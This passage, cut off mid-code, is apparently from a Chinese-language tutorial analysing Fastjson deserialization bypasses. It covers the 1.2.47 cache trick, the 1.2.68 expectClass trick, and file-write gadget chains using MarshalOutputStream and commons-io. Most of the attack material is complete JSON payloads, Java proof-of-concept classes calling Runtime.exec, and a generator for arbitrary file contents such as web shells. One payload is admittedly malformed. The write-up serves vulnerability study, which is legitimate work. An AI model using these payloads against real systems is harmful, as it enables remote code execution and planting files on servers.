if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}
可以看到,如果我们在mapping中缓存有我们加载的恶意类,那么就有可能绕过黑白名单检测。下一步我们看看mapping这个属性是否可控,如果能够将我们的恶意类写入mapping中,那么就有可能绕过checkAutoType()的检测
下面我们看一看TypeUtils#getClassFromMapping方法
public static Class<?> getClassFromMapping(String className){
return mappings.get(className);
}
从mapping中获取类名,下面我们就来看看mapping是在哪里赋值的,寻找mapping.put方法,
在以下两个方法中被调用
TypeUtils#addBaseClassMappings
TypeUtils#loadClass
其中TypeUtils#addBaseClassMappings为无参方法,并且没有我们可控的参数。

我们直接看TypeUtils#loadClass方法,这个方法其实之前我们也分析过了,就是在加载类之前对类名做一些检查和判断,这部分代码我们就先跳过。
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
//前面跳过
try{
//第一处,classLoader不为null
if(classLoader != null){
clazz = classLoader.loadClass(className);
//如果chche为true,则将我们输入的className缓存入mapping中
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
//第二处,检查较为严格
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
//如果chche为true,则将我们输入的className缓存入mapping中
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
try{
clazz = Class.forName(className);
//第三处,限制宽松
mappings.put(className, clazz);
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}
可以看见以上有三个地方能够向mapping写入恶意类,我们先看看哪里调用了loadClass

就在TypeUtils的同名方法中,并且cache默认为true,完美符合,接着寻找调用。
在MiscCodec#deserialze中

其中clazz必须为Class.class,可以由@type控制。strVal即为我们要控制的className,我们先看看strVal在哪里被赋值的

接着找objVal的赋值
Object objVal;
//if判断默认为true
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);
//必须有val属性
if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}
parser.accept(JSONToken.COLON);
//objVal的值为从JSON中解析到的val的值
objVal = parser.parse();
parser.accept(JSONToken.RBRACE);
} else {
objVal = parser.parse();
}
由此我们可以构造出前半部分payload
{
//满足clazz为Class.class
"@type":"java.lang.Class",
//有val,且值为我们要写入mapping的恶意类
"val":"com.sun.rowset.JdbcRowSetImpl"
}
可以看见这里已经将我们的恶意类写入到了mapping中
后半——从mapping中加载恶意类
上文我们已经分析过了,通过从mapping中加载恶意类可以绕过checkAutoType()的检测,当我们第二次进入checkAutoType()的时候,就会从mapping中获取恶意类
可以看见这里的clazz已经被设置为了恶意类,后续的利用就和低版本的利用链一样了。
完整payload
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:9999/EXP",
"autoCommit": true
}
}
完整代码
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Fastjson_Jdbc_LDAP {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{" +
"\"1\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.sun.rowset.JdbcRowSetImpl\"" +
"}," +
"\"2\":{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/RMIHello\"," +
"\"autoCommit\":true" +
"}" +
"}";
JSON.parse(payload);
}
}
可以看见该Payload是完全绕过checkAutoType()的各种检测,包括AutoTypeSupport等在内的属性值。
这个payload原理就是
第一阶段(塞入缓存):Fastjson 先解析键 "a"。由于 java.lang.Class 是基础类,属于白名单,默认允许加载。当解析 Class 对象的 val 属性时,Fastjson 会把 val 对应的字符串 "com.sun.rowset.JdbcRowSetImpl" 加载并顺手存入本地缓存 TypeUtils.mappings 中。
第二阶段(绕过检查):Fastjson 紧接着解析键 "b"。此时遇到了黑名单类 com.sun.rowset.JdbcRowSetImpl。但由于第一步的操作,这个类已经躺在 mappings 缓存中了!
Fastjson 直接在缓存中找到了该类,绕过了后续所有的黑名单和 AutoType 检查,直接触发后续利用。

经测试,该版本Payload基本通杀<=1.2.47的Fastjson。其他利用链构造方式同上。
前面的一些漏洞都是在autoTypeSupport = true时才可以利用,通用性不强,但是这个可以直接绕过AutoType,在默认配置下(autoTypeSupport = false)也可以反序列化任意类,利用方法就是先加载java.lang.Class这个合法类,加载时会把Class对象的var属性放入缓存mapping中,而这个var属性就是我们要加载的恶意类,第二步就是直接从mapping缓存加载这个恶意类,这样就绕过了黑名单和AutoType检查。
1.2.48后续版本
该版本修复了cache值默认为true的问题,直接将cache的值改为了false。
1.2.48后续版本主要还是一些第三方组件漏洞,感觉通用性不强。
参考这个https://paper.seebug.org/1155
修复就是把cache值默认改为false,无法再将恶意类写入mapping缓存了
1.2.68
这次的罪魁祸首的确是expectClass参数,但是!expectClass的由来还得从autoType说起。
fastjson为了实现反序列化引入了autoType,之后防止进行恶意反序列化对象从而导致RCE,引入了checkAutoType(),这就引出了很多的问题,包括我们之前提到的都属于它的锅。而这次的expectClass参数也是checkAutoType()函数的一个参数,在之前的漏洞中都没有用到过,所以这次是一个全新的bypass checkAutoType()的方式。
checkAutoType()中的expectClass参数类型为java.lang.Class,当expectClass传入checkAutoType()时不为null,并且我们要实例化的类是expectClass的子类或其实现时会将传入的类视为一个合法的类(不能在黑名单中),然后通过loadClass返回该类的class,我们就可以利用这个绕过checkAutoType()。
此外,由于checkAutoType()中黑名单的检测位于loadClass之前,所以不能在黑名单中,另外恶意类需要是expectClass的接口或是expectClass的子类。
我们查找把expectClass参数传递给checkAutoType()函数的利用类有两个:
- 在JavaBeanDeserializer类的deserialze()函数中会调用checkAutoType()并传入可控的expectClass
- 在ThrowableDeserializer类的deserialze()函数中也会调用并传入
无论是上述哪一个利用类都会将@type的值作为typeName传给expectClass并调用checkAutoType(…expectClass…),所以思路就是在poc里写两个@type,第一个正常通过checkAutoType(),然后调用上述类中的deserialze()函数,然后在其中使用expectClass绕过第二次的checkAutoType()函数。
其中对应的分别为:AutoCloseable类和Throwable类,接下来详细分析。
详细分析
首先IDEA创建1.2.68的fastjson的maven项目,之后编写Exp.java和JavaBean.java。
首先IDEA创建1.2.68的fastjson的maven项目,之后编写Exp.java和JavaBean.java。
package fastjson;
import com.alibaba.fastjson.JSON;
public class Exp {
public static void main(String args[]){
JSON.parseObject("{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"fastjson.JavaBean\", \"cmd\":\"calc.exe\"}");
}
}
package fastjson;
import java.io.IOException;
public class JavaBean implements AutoCloseable{
public JavaBean(String cmd){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}
}
public void close() throws Exception {
}
}
启动后弹出计算器,触发payload。

动态调试
首先在JSON.parseObject()断点进入调试
在DefaultJSONParser.java中,parseObject()对传入数据进行解析,如果是@type则获取到类型名后进行checkAutoType()的检查

单步步入后详细分析下checkAutoType()的检查逻辑
其中一处可以看到如果expectClass不为null,且不在那几个里面就会把expectClassFlag设置为true,我们第二次进入checkAutoType()就会用到

接下来会进行黑白名单查询。首先进行内部白名单,之后及进行内部黑名单,由于内部黑名单为null故跳过

之后,如果非内部白名单并且开启autoTypeSupport或者是expectClass时会进行黑白名单查找。首先在白名单内二分查找,如果在则加载后返回指定class对象,如果不在或者为空,会继续在黑名单中进行二分查找;若不在黑名单且getClassFromMapping返回值为null,就再在白名单查询,若为空则异常,否则continue

之后从缓存中得到赋值给clazz

之后从checkAutoType()返回clazz到DefaultJSONParser.java#parseObject()中,单步到deserializer.deserialze()
在deserialze()解析字段,当为@type(第二个)时,调用checkAutoType()并传入expectClass
第二次步入checkAutoType(),在这里把expectClassFlag设为true
这次进入成功之前分析的黑白名单环节
之后由于autoTypeSupport为true进入if段,又进行了一次黑白名单校验
之后resource将“.”替换为”/“得到路径,并且这里貌似有读文件的功能
之后如果autoType打开或者使用了JSONType注解,又或者 expectClassFlag为true时,并且只有在autoType打开或者使用了JSONType注解时,才会将类加入到缓存mapping中。另外没使用JSONType注解不会返回
之后expectClass不为null,加载到mapping中,并返回JavaBeanDeserializer#deserialze()
之后deserializer.deserialze(),由于将恶意类加入mapping,在反序列化解析时会绕过autoType,成功利用
其实原理就是Fastjson 为了防御反序列化漏洞,引入了 checkAutoType() 函数,并维护了一个庞大的黑名单。但是,checkAutoType 还有一个隐藏的绿色通道——期望类(expectClass)机制。
当 Fastjson 在解析某个类时,如果它知道这个类必须是某个特定类(expectClass)的子类或实现类,那么它就会放宽检查。
当执行 JSON.parseObject(...) 时,Fastjson 内部会经历以下四个关键步骤:
步骤一:遇到第一个 @type,确立“安全保护伞”
- 输入:
"@type":"java.lang.AutoCloseable" - 内部动作:Fastjson 遇到第一个
@type,调用checkAutoType("java.lang.AutoCloseable", ...)。 - 结果:由于
java.lang.AutoCloseable是 JDK 自带的基础接口,它不在 Fastjson 的黑名单中。checkAutoType顺利放行,并将其加载(clazz = AutoCloseable.class)。 - 关键埋伏:此时,Fastjson 会把
AutoCloseable.class作为期望类(expectClass)传递给接下来的反序列化解析器。
步骤二:遇到第二个 @type,实施“瞒天过海”
- 输入:
"@type":"fastjson.JavaBean" - 内部动作:Fastjson 继续解析,遇到了第二个
@type。此时再次调用checkAutoType("fastjson.JavaBean", AutoCloseable.class)。 - 绕过逻辑:
checkAutoType首先检查fastjson.JavaBean是否在黑名单。显然你自定义的类不在黑名单。- 接着,它发现这次调用带有了
expectClass(即第一步留下的AutoCloseable.class)。 - Fastjson 内部有一段判断逻辑:“如果当前要加载的类,是 expectClass 的子类或实现类,则直接放行。”
- 你的
JavaBean类明确写了implements AutoCloseable。
- 结果:绿灯大开!Fastjson 绕过了所有常规的 AutoType 安全限制,成功加载了
fastjson.JavaBean类。
步骤三:实例化与构造函数触发
- 输入:
"cmd":"calc.exe" - 内部动作:Fastjson 准备实例化
fastjson.JavaBean。它会扫描该类的构造函数或setter方法。 - 匹配:它发现
JavaBean有一个带有String cmd参数的构造函数,且 JSON 中刚好传了"cmd":"calc.exe"。 - 执行:Fastjson 通过反射调用该构造函数,并将
"calc.exe"作为参数传入,成功RCE。
上面用的是java.lang.AutoCloseable这个类,也可以用java.lang.Throwable这个类。
package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Exp {
public static void main(String[] args) {
// 关键:显式将 Throwable 加入白名单,允许第一步加载
ParserConfig.getGlobalInstance().addAccept("java.lang.Throwable");
String jsonPayload = "{" +
"\"@type\":\"java.lang.Throwable\"," +
"\"@type\":\"fastjson.JavaBeanException\"," +
"\"message\":\"calc.exe\"" +
"}";
JSON.parseObject(jsonPayload);
}
}
package fastjson;
// 继承 Exception(Exception 也是 Throwable 的子类)
public class JavaBeanException extends Exception {
// 必须要有一个能够接收参数的构造函数,用于接收 JSON 传入的“命令”
public JavaBeanException(String cmd) {
super(cmd); // 调用父类构造
try {
// 触发命令执行
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
}
这里有一个坑,在前面 AutoCloseable 的例子中,我们构造函数的参数名是 cmd,JSON 里的 key 也是 "cmd"。但在 Throwable 链条中,这里有一个大坑。
当 Fastjson 发现 expectClass 是 Throwable 时,它会专门调用 ThrowableDeserializer 来解析。这个解析器在反射调用构造函数时,有一种特殊的行为:
- 它会优先去寻找带有
(String message)或者是(String message, Throwable cause)的构造函数。 - 在匹配 JSON 属性时,它在底层源码里固定硬编码了去取
"message"、"cause"、"localizedMessage"等标准异常属性的值。
所以参数名要写message而不是cmd
但是在真实环境中,我们是无法直接这样RCE的,因为我们这些危险类是自己写的,真实环境中很难写进去一个这样的类,所以我们要找那种java原生类或者第三方组件的符合漏洞利用条件的类。
小知识1
fastjson除了使用setXXX的方法赋值外,也可以直接对构造函数进行传值反序列为对象,比如
public User(String test){
System.out.println(test);
}
可以通过下面的json来实现赋值,这也是后面payload用到的一个点
{
"@type":"org.example.User",
"test": "123123"
}
小知识2
在分析过程中,反序列化操作时,我们还发现存在一个key $ref,
这个$ref参数的作用是什么呢?简单来说就是从其他地方获取一个对象当作参数传进去
"$ref":".." 表示上一级
"$ref":"@" 表示当前对象,也就是自引用
"$ref":"$" 表示根对象
"$ref":"$.children.0" 表示基于路径的引用,相当于 root.getChildren().get(0)
找出可用的gadget
之前的分析中,找到了两个类,一个是AutoCloseable类,还有一个是Throwable相关的类。
关于 gadget 的挖掘思路主要是寻找关于输入输出流的类来写文件,IntputStream 和 OutputStream 都是实现自 AutoCloseable 接口的,而且也没有被列入黑名单,所以只要找到合适的类,还是可以进行文件读写等高危操作的。
首先看一下这里的类的关系,都是继承OutputStream的类,而该类实现了Closeable的接口,closeable又继承了AutoCloseable,因此可以使用OutputStream实现反序列化
寻找 gadget 时的条件是这样的。
- 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream
- 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
- 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法 调用传入的 OutputStream 的 flush 方法
以上三个组合在一起就能构造成一个写文件的利用链,最终我挑选出了三个符合条件的类作为演示。
fastjson反序列化时会优先调用无参构造函数,然后调用setter来设置属性。如果没有无参构造函数,则调用参数最多的构造函数来创建对象。这是为了兼容bean和java原生类的写法。
fastjson 在通过带参构造函数进行反序列化时,会检查参数是否有参数名,只有含有参数名的带参构造函数才会被认可
AutoCloseableEvil(String name,String name2,String name3) 这里name1-3变量名都是不必要存储在class文件中的。使用默认javac编译,并不会携带变量名,必须使用javac -g编译,才会有LocalVariableTable属性,携带变量名。
什么情况下类构造函数的参数会有参数名信息呢?只有当这个类 class 字节码带有调试信息且其中包含有变量信息时才会有。
可以通过如下命令来检查,如果有输出 LocalVariableTable,则证明其 class 字节码里的函数参数会有参数名信息:
javap -l <class_name> | grep LocalVariableTable
fastjson使用
String[] lookupParameterNames = ASMUtils.lookupParameterNames(constructor);
读取字节码来获取变量名,自定义类和第三方库由于IDE默认使用javac -g编译就没问题,系统类就不一定了。JDK11以下的版本大部分都没有携带变量名(并不一定,部分系统的JDK8也可能存在)。
MarshalOutputStream链分析
只适用于jdk11,不用第三方库,作用为写文件
这是因为Fastjson 在反序列化没有无参构造函数、只有带参构造函数的类时,需要通过 ASM 技术去读取类文件的字节码,从中获取 LocalVariableTable(局部变量表),从而得知构造函数的参数名(如 file、append),才能将 JSON 中的 Key 映射给构造函数。
在 JDK 11 中,这些内置类在编译时保留了 LocalVariableTable。因此,Fastjson 可以顺利解析 FileOutputStream(String name, boolean append) 等多参构造函数。
在原生的 JDK 8 中,绝大多数内置核心类(如 java.io.FileOutputStream)在编译时去掉了局部变量表调试信息(即没有 LocalVariableTable)。这导致 Fastjson 无法识别其带参构造函数的参数名,从而抛出异常。
经典payload
{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out':
{
'@type':'java.util.zip.InflaterOutputStream',
'out':
{
'@type':'java.io.FileOutputStream',
'file':'dst',
'append':false
},
'infl':
{
'input':
{
'array':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',
'limit':22
}
},
'bufLen':1048576
},
'protocolVersion':1
}
整个触发流程是
Fastjson 开始解析 JSON 文本,由于嵌套关系,它会最先试图满足最内层对象的构造:
1.解析FileOutputStream
Fastjson 读取 JDK 11 的 LocalVariableTable,得知构造函数参数名为 file 和 append。
调用 new FileOutputStream("/tmp/target.txt", false)。
结果:目标文件被创建(或清空),文件描述符被打开。
2.解析InflaterOutputStream
接下来解析外一层的 InflaterOutputStream。它的构造函数需要一个 OutputStream。
Fastjson 将刚刚生成的 FileOutputStream 实例作为参数传入,并装配 infl 属性(包含经 Base64 解码后的压缩字节数组 input)。
结果:解压流包装了文件流,处于待命状态。
3.解析MarshalOutputStream
最后解析最外层的 MarshalOutputStream。它的构造函数接收一个 OutputStream。
Fastjson 将装配好的 InflaterOutputStream 实例传入其构造函数。
4.触发
当 Fastjson 执行 new MarshalOutputStream(InflaterOutputStream实例) 时,真正的写入链条被瞬间激活:
MarshalOutputStream 的父类是 ObjectOutputStream。在它的构造函数执行时,JDK 默认会调用 writeStreamHeader() 方法,目的是向流中写入序列化头部魔术字(如 0xAC ED)。
这个写入操作会直接调用它所包装的底层流——即 InflaterOutputStream.write()。
一旦 InflaterOutputStream.write() 被调用,解压引擎开始运转:
InflaterOutputStream 检测到有数据写入(魔术字),它会顺便触发内部的解压机制,将你在 infl.input 中传入的、事先准备好的 Base64 -> 压缩字节数组 进行解压(inflate)。
解压后的真实恶意数据(如 WebShell 内容或伪造的配置)被释放出来。
InflaterOutputStream 调用它所包装的 FileOutputStream.write(),将解压后的数据一股脑写入磁盘文件。
这样就完成了写文件操作。
demo
import com.alibaba.fastjson.JSON;
public class FastjsonDemo {
public static void main(String[] args) {
// 1. 准备要写入的 Windows 绝对路径(注意双反斜杠或正斜杠)
// 建议写到临时目录,避免权限问题
String targetPath = "D:/fastjson_test.txt";
// 2. 刚才用 PayloadBuilder 生成的压缩数据
String base64Data = "eJwLysnMzFMoSyzKzcxTqOTKySzNSS1S8MxTSM7PzUzPt1JIUrAy1DHSMdfR0bE00bEEALALEEw=";
int dataLength = 53;
// 3. 构造 1.2.68 的 AutoCloseable 写文件 Payload String jsonPayload = "{\n" +
" \"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"sun.rmi.server.MarshalOutputStream\",\n" +
" \"out\": {\n" +
" \"@type\": \"java.util.zip.InflaterOutputStream\",\n" +
" \"out\": {\n" +
" \"@type\": \"java.io.FileOutputStream\",\n" +
" \"file\": \"" + targetPath + "\",\n" +
" \"append\": false\n" +
" },\n" +
" \"infl\": {\n" +
" \"input\": {\n" +
" \"array\": \"" + base64Data + "\",\n" +
" \"limit\": " + dataLength + "\n" +
" }\n" +
" },\n" +
" \"bufLen\": 1024\n" +
" }\n" +
"}";
System.out.println("开始解析 JSON,触发写文件链...");
try {
// 4. 触发反序列化
JSON.parseObject(jsonPayload);
System.out.println("解析完成。");
} catch (Exception e) {
// 链条最后可能会因返回值类型不匹配抛出异常,但不影响文件已经写入成功
System.out.println("解析过程中抛出异常(正常现象,文件可能已写入): " + e.getMessage());
}
System.out.println("请检查文件是否存在: " + targetPath);
}
}
写入成功

如果要生成其他的恶意内容,可以用这个脚本生成
import java.io.ByteArrayOutputStream;
import java.util.Base64;
import java.util.zip.DeflaterOutputStream;
public class PayloadGenerator {
public static void main(String[] args) throws Exception {
// 1. 在这里输入你想写入文件的真实内容
String myContent = "YOUR_CUSTOM_CONTENT_HERE\nWelcome to 2026!";
// 2. 进行 zlib 压缩
ByteArrayOutputStream bos = new ByteArrayOutputStream();
DeflaterOutputStream dos = new DeflaterOutputStream(bos);
dos.write(myContent.getBytes("UTF-8"));
dos.close();
// 3. 获取压缩后的字节数组并转换成 Base64 byte[] compressedBytes = bos.toByteArray();
String base64Result = Base64.getEncoder().encodeToString(compressedBytes);
// 4. 打印结果
System.out.println("Base64 字符串: " + base64Result);
System.out.println("数组长度 (limit): " + compressedBytes.length);
}
}
commons-io 利用链分析
刚才那个链虽然不依赖第三方库,但是还是通用性不强。
这个利用链要用到commons-io这个第三方库
- 这个库还是比较常见的。
- commons-io 库里的类字节码带有LocalVariableTable 调试信息
- commons-io 库里几乎没有类在 fastjson 黑名单中
先上poc
commons-io 2.0 - 2.6 版本:
{ "x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{
"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"//感觉这里少了一个大括号,但是加上去又会报错
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}
commons-io 2.7 - 2.8.0 版本:
{
"x": {
"@type": "com.alibaba.fastjson.JSONObject",
"input": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String""aaaaaa...(此处替换为你想写入的文本,长度建议大于8192以填满探测缓存)"
},
"start": 0,
"end": 2147483647
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"branch": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.FileWriterWithEncoding",
"file": "/tmp/pwned",
"encoding": "UTF-8",
"append": false
},
"charsetName": "UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.XmlStreamReader",
"inputStream": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"$ref": "$.input"
},
"branch": {
"$ref": "$.branch"
},
"closeBranch": true
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
},
"trigger2": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.XmlStreamReader",
"inputStream": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"$ref": "$.input"
},
"branch": {
"$ref": "$.branch"
},
"closeBranch": true
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
},
"trigger3": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.XmlStreamReader",
"inputStream": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"$ref": "$.input"
},
"branch": {
"$ref": "$.branch"
},
"closeBranch": true
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
}
}
}
首先看一个基本的payload
{
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": "这里替换成你想写入的任意文本内容(不超过8192字节)"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"branch": {
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.FileWriterWithEncoding",
"file": "D:/commons_io_test2.txt",
"encoding": "UTF-8",
"append": false
},
"charsetName": "UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch": true
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
}
解释一下这个触发链
Fastjson 遇到这种深层嵌套的 JSON 时,解析器会像剥洋葱一样,从最内层的叶子节点开始实例化对象。
[CharSequenceReader] ──> [ReaderInputStream] ──┐
├──> [TeeInputStream] ──> [XmlStreamReader] (引爆点)
[FileWriterWithEncoding] ──> [WriterOutputStream] ┘
步骤1
Fastjson 解析到最内层的第 9-10 行,首先实例化 CharSequenceReader,将你的恶意字符串 "aaaaaa" 装进去。接着(第 7 行)创建 ReaderInputStream 将其包裹。
此时状态:有了一个装满恶意数据的“蓄水池”。
步骤2
Fastjson 转头去解析第 18-21 行,实例化 FileWriterWithEncoding,锁定磁盘路径 /tmp/pwned。接着(第 16 行)创建 WriterOutputStream 将其包裹,并注入 "writeImmediately": true 属性。
此时状态:有了一个绝对不留存缓存、给多少吐多少的“强力排水口”。
步骤3
有了水源和排水口,Fastjson 开始解析第 5 行的 TeeInputStream。它把刚刚做好的“蓄水池”传给 input 属性,把“强力排水口”传给 branch 属性。
三通管道在内存中完美合龙。
触发
Fastjson 终于来到了最外层(第 3 行):实例化 XmlStreamReader。
XmlStreamReader 被创建时,它的构造函数需要执行一个核心逻辑:判断传入的这个流,到底是不是 XML 格式?如果是,它的编码是什么? 为了探测编码,它的构造函数内部会强制调用:
// XmlStreamReader 源码内部行为
byte[] buffer = new byte[8192];
int numRead = is.read(buffer, 0, 8192); // 强行向上游索要最多 8192 字节的数据
此时,它手里的 is 正是前面拼装好的 TeeInputStream
TeeInputStream 收到 read 请求后,立刻去自己的上游(ReaderInputStream 蓄水池)吸出 "aaaaaa" 这段数据。
而在 TeeInputStream 的底层源码中,它的 read 方法长这样:
public int read(byte[] b, int off, int len) throws IOException {
int ch = input.read(b, off, len); // 1. 从上游读数据
if (ch != -1) {
branch.write(b, off, ch); // 2. 只要读到了,自动复制一份写给下游!
}
return ch;
}
这一步,数据在神不知鬼不觉中,被自动分流拷贝了一份,直接推给了下游的 WriterOutputStream。
数据流入 WriterOutputStream 后,它本该有自己的内部缓冲区。但因为我们在拼装阶段给它设置了 "writeImmediately": true,这个类一看到有数据进来,会立刻、强制调用底层的 flush() 动作,直接把数据甩给 FileWriterWithEncoding。
最终完成写文件。
这样虽然可以生成文件,但是文件却是空的,这里涉及到一个问题就是,当要写入的字符串长度不够时,输出的内容会被保留在 ByteBuffer 中,不会被实际输出到文件里:
问题搞清楚了,我们需要写入足够长的字符串才会让它刷新 buffer,写入字节到输出流对应的文件里。那么很自然地想到,在 charSequence 处构造超长字符串是不是就可以了?
可惜并非如此,原因是 InputStream buffer 的长度大小在这里已经是固定的 4096 了:
也就是说每次读取或者写入的字节数最多也就是 4096,但 Writer buffer 大小默认是 8192:
因此仅仅一次写入在没有手动执行 flush 的情况下是无法触发实际的字节写入的。
这里就可以想到可以利用$ref 循环引用,多次往同一个 OutputStream 流里输出即可。一次不够 overflow 就多写几次,直到 overflow 为止,就能触发实际的文件写入操作。
demo
package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class FastjsonAdvancedRefDemo {
public static void main(String[] args) {
// 1. 强制放行 Commons-IO 包,防止本地环境由于 expectClass 机制缺失而拦截
ParserConfig.getGlobalInstance().addAccept("org.apache.commons.io.");
// 2. Windows 目标写入路径
String targetPath = "D:/pwned.txt";
// 3. 构造要写入的内容:要求长度大于 8192 字节以测试该 Payload 的极限能力
// 这里生成 9000 个字符 'A' StringBuilder sb = new StringBuilder();
for (int i = 0; i < 9000; i++) {
sb.append("A");
}
String fileContent = sb.toString();
// 4. 完美还原你提供的完整 Payload 结构
// 核心难点:利用单引号精确表达 {"@type":"java.lang.String""内容"} 畸形结构
String jsonPayload = "{\n" +
" \"x\": {\n" +
" \"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +
" \"input\": {\n" +
" \"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\n" +
" \"reader\": {\n" +
" \"@type\": \"org.apache.commons.io.input.CharSequenceReader\",\n" +
" \"charSequence\": {'@type':'java.lang.String' '" + sb + "'\n" + // 完美复刻你的畸形设计
" },\n" +
" \"charsetName\": \"UTF-8\",\n" +
" \"bufferSize\": 1024\n" +
" },\n" +
" \"branch\": {\n" +
" \"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"org.apache.commons.io.output.WriterOutputStream\",\n" +
" \"writer\": {\n" +
" \"@type\": \"org.apache.commons.io.output.FileWriterWithEncoding\",\n" +
" \"file\": \"" + targetPath + "\",\n" +
" \"encoding\": \"UTF-8\",\n" +
" \"append\": false\n" +
" },\n" +
" \"charsetName\": \"UTF-8\",\n" +
" \"bufferSize\": 1024,\n" +
" \"writeImmediately\": true\n" +
" },\n" +
" \"trigger\": {\n" +
" \"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"org.apache.commons.io.input.XmlStreamReader\",\n" +
" \"is\": {\n" +
" \"@type\": \"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\": {\n" +
" \"$ref\": \"$.input\"\n" +
" },\n" +
" \"branch\": {\n" +
" \"$ref\": \"$.branch\"\n" +
" },\n" +
" \"closeBranch\": true\n" +
" },\n" +
" \"httpContentType\": \"text/xml\",\n" +
" \"lenient\": false,\n" +
" \"defaultEncoding\": \"UTF-8\"\n" +
" },\n" +
